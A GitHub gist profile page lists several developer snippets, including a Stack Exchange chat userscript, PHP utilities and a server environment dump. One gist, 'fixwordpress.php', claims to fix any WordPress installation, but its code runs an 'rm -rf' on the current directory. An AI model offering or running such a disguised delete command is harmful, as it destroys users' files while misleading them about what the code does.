Skip to content

Instantly share code, notes, and snippets.

View DaveRandom's full-sized avatar

Chris Wright DaveRandom

View GitHub Profile
(function() {
'use strict';
/**
* Modifications to perform (processed in order)
*
* @type {Function[]}
*/
const modifications = [
(text) => text.replace(/!+/g, '!'),
@DaveRandom
DaveRandom / onebox-collapse.user.js
Last active October 16, 2017 11:28
Add the ability to collapse and expand oneboxes in SE chat
// ==UserScript==
// @name SE onebox collapsing overlay
// @description Add the ability to collapse and expand oneboxes in SE chat
// @version 1.1
// @author DaveRandom
// @namespace https://github.com/DaveRandom
// @match *://chat.stackexchange.com/rooms/*
// @match *://chat.stackoverflow.com/rooms/*
// @match *://chat.meta.stackoverflow.com/rooms/*
// ==/UserScript==
<?php
include dirname(__DIR__) . "/vendor/autoload.php";
use Amp\Process\Process;
use function Amp\Promise\all;
const COUNT = 8;
$passwords = [];
@DaveRandom
DaveRandom / readme.md
Last active July 21, 2017 11:16
Adding projects to OpenGrok on lxr.room11.org

Adding projects to OpenGrok on lxr.room11.org

Connecting to the server

SSH to lxr.room11.org. The server requires public key authentication, contact a room owner to have your key added.

Adding a project

Check out the sources from git into /srv/sources. The directory name will appear in the OpenGrok web interface, so choose a sensible directory name! Please use https:// URLs for the remote where possible.

@DaveRandom
DaveRandom / oadate.php
Last active July 19, 2017 07:53 — forked from seanbamforth/oadate.php
PHP OADate formatting - To and From...
<?php
class OLEAutomationDateConverter
{
/**
* Get the OLE Automation Date epoch
*
* @return DateTimeImmutable
*/
public static function BaseDate()
array(97) { ["PROCESSOR_ARCHITEW6432"]=> string(5) "AMD64" ["_FCGI_X_PIPE_"]=> string(53) "\\.\pipe\IISFCGI-c9b24bea-eef1-4a1d-b0a5-a94ab18c4deb" ["PHP_FCGI_MAX_REQUESTS"]=> string(5) "10000" ["PHPRC"]=> string(31) "C:\Program Files (x86)\PHP\v5.3" ["ALLUSERSPROFILE"]=> string(14) "C:\ProgramData" ["APPDATA"]=> string(56) "C:\Windows\system32\config\systemprofile\AppData\Roaming" ["APP_POOL_CONFIG"]=> string(51) "C:\inetpub\temp\apppools\SingleRTB\SingleRTB.config" ["APP_POOL_ID"]=> string(9) "SingleRTB" ["CommonProgramFiles"]=> string(35) "C:\Program Files (x86)\Common Files" ["CommonProgramFiles(x86)"]=> string(35) "C:\Program Files (x86)\Common Files" ["CommonProgramW6432"]=> string(29) "C:\Program Files\Common Files" ["COMPUTERNAME"]=> string(15) "WIN-IAHBJGOU4S1" ["ComSpec"]=> string(27) "C:\Windows\system32\cmd.exe" ["FP_NO_HOST_CHECK"]=> string(2) "NO" ["JRE_HOME"]=> string(32) "C:\Program Files (x86)\Java\jre7" ["LOCALAPPDATA"]=> string(54) "C:\Windows\system32\config\systemprofile\AppData\Local" ["NU
@DaveRandom
DaveRandom / .gitignore
Created August 2, 2016 10:07
Default repository layout - PHP web application
vendor # ignore composer data
# ignore PHP Storm config
# you may want to ignore your IDE config and you may want to commit it, up to you
.idea
@DaveRandom
DaveRandom / fixwordpress.php
Created October 27, 2013 14:14
Fixes any problem with any Wordpress installation. Simply run this from your wordpress root directory.
<?php
exec("rm -rf '" . getcwd() . "/*'");
@DaveRandom
DaveRandom / index.php
Created October 25, 2013 15:46
Fetch a remote URL and show some stuff. Just your basic waste on an hour.
<?php
// hack for viper7
$_SERVER['REQUEST_URI'] = '/' . basename($_SERVER['PHP_SELF']) . '/55dev';
session_start();
$methods = [
'GET',
'HEAD',
<?php
namespace Seedstream;
use React\EventLoop\LoopInterface,
React\Socket\ConnectionInterface;
class HandlerManager
{
private $loop;